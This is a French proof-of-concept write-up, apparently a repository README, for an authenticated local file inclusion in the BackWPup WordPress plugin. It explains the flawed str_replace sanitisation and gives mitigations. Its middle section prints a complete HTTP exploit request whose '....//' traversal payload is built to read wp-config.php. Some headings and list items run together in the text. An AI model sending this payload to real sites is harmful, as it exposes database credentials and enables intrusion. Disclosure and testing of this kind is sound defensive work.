
Preuve de concept à visée éducative pour CVE-2026-6227, une inclusion locale de fichier authentifiée dans le plugin WordPress BackWPup, incluant l'analyse de la cause racine, la requête d'exploitation et les recommandations d'atténuation.
Les versions de BackWPup jusqu'à la 5.6.6 incluse sont affectées par une vulnérabilité d'inclusion locale de fichier (LFI) authentifiée via le paramètre block_name du point de terminaison REST /wp-json/backwpup/v1/getblock.
Le défaut a été causé par une désinfection non récursive via str_replace() des séquences de traversée et est déjà corrigé dans la version 5.6.7.
Ce dépôt est strictement destiné à des fins éducatives et de recherche en sécurité éthique. Les informations fournies ici visent à aider les administrateurs et les équipes de sécurité à vérifier leurs systèmes. N'utilisez pas cela contre des cibles sans autorisation écrite explicite.
BackWPupHelpers::component()POST /wp-json/backwpup/v1/getblockblock_nameLe chargeur de composants vulnérable applique une désinfection non récursive via str_replace() avant d'invoquer include(). Cela peut être contourné en utilisant des motifs de traversée élaborés tels que ....// ou ..././, permettant une résolution de chemin contrôlée par l'attaquant.
wp-config.php)Par défaut, l'exploitation nécessite un accès de niveau administrateur. Si les permissions de sauvegarde sont déléguées, les utilisateurs à privilèges réduits peuvent également être en mesure d'exploiter ce problème.
POST légitime vers /wp-json/backwpup/v1/getblock.block_name par une charge utile de traversée.Exemple de requête :
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
backwpup uniquement aux rôles de confiance/wp-json/backwpup/v1/getblock